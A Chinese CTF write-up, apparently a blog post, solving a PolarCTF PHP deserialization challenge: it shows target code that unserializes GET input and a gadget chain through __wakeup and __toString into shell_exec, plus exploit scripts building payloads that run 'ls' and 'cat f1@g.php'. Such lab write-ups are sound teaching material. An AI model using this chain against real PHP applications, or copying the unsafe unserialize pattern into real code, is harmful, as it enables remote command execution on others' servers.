【PolarCTF】PHP反序列化初试

复制代码
<?php
class Easy{
    public $name;
    public function __wakeup()
    {
        echo $this->name;
    }
}
class Evil{
    public $evil;
    private $env;
    public function __toString()
    {
        $this->env=shell_exec($this->evil);
        return $this->env;
    }
}

if(isset($_GET['easy'])){
    unserialize($_GET['easy']);
}else{
    highlight_file(__FILE__);
}

攻击路径

复制代码
1、控制$this->evil的内容

3、触发__toString方法

exp如下

复制代码
<?php
class Easy{
    public $name;
    public function __wakeup()
    {
        echo $this->name;
    }
    public function __construct()
    {
        $this->name = new Evil();
    }

}
class Evil{
    public $evil = 'ls';
    private $env;
    public function __toString()
    {
        $this->env=shell_exec($this->evil);
        return $this->env;
    }
}

$easy = new Easy();
echo urlencode(serialize($easy));
?>
复制代码
<?php
class Easy{
    public $name;
    public function __wakeup()
    {
        echo $this->name;
    }
    public function __construct()
    {
        $this->name = new Evil();
    }

}
class Evil{
    public $evil = 'cat f1@g.php';
    private $env;
    public function __toString()
    {
        $this->env=shell_exec($this->evil);
        return $this->env;
    }
}

$easy = new Easy();
echo urlencode(serialize($easy));
?>

得到flag

相关推荐
学逆向的5 小时前
C++ 合并命名空间
开发语言·c++·网络安全
学逆向的6 小时前
C 局部静态变量
c语言·开发语言·网络安全
杭州默安科技10 小时前
从“被动响应”到“主动遏制”:AI Agent时代,网络防御体系如何重构?
人工智能·网络安全·ai智能体
砚凝霜11 小时前
[CTF Misc 图片隐写] misc1:文件末尾追加 flag(strings 一秒出 flag,附原理)
网络安全
Gnevergiveup12 小时前
ATT&CK红蓝对抗实战指南-Windows安全基础
笔记·网络安全
白帽攻防录13 小时前
某pc客户端app从xss到rce实战案例
前端·网络安全·黑客·xss·rce·src漏洞·app漏洞
学网安的肆伍16 小时前
认证机制攻防学习|PortSwigger Authentication 靶场复现总结(二):用户名枚举进阶
学习·web安全·网络安全·burpsuite·portswigger·认证安全·靶场复现
网络小江16 小时前
组网第41课:ACL 门禁——标准/扩展、规则顺序、time-range、in/out 方向
运维·网络安全·acl·访问列表·in/out
迪康coolmu18 小时前
金融客户数据合规落地:基于迪康端点安全一体化管理系统的四道防线实践
运维·服务器·数据库·经验分享·安全·网络安全·金融
自由彩虹19 小时前
靶场通关16--victim1
linux·服务器·网络·安全·web安全·网络安全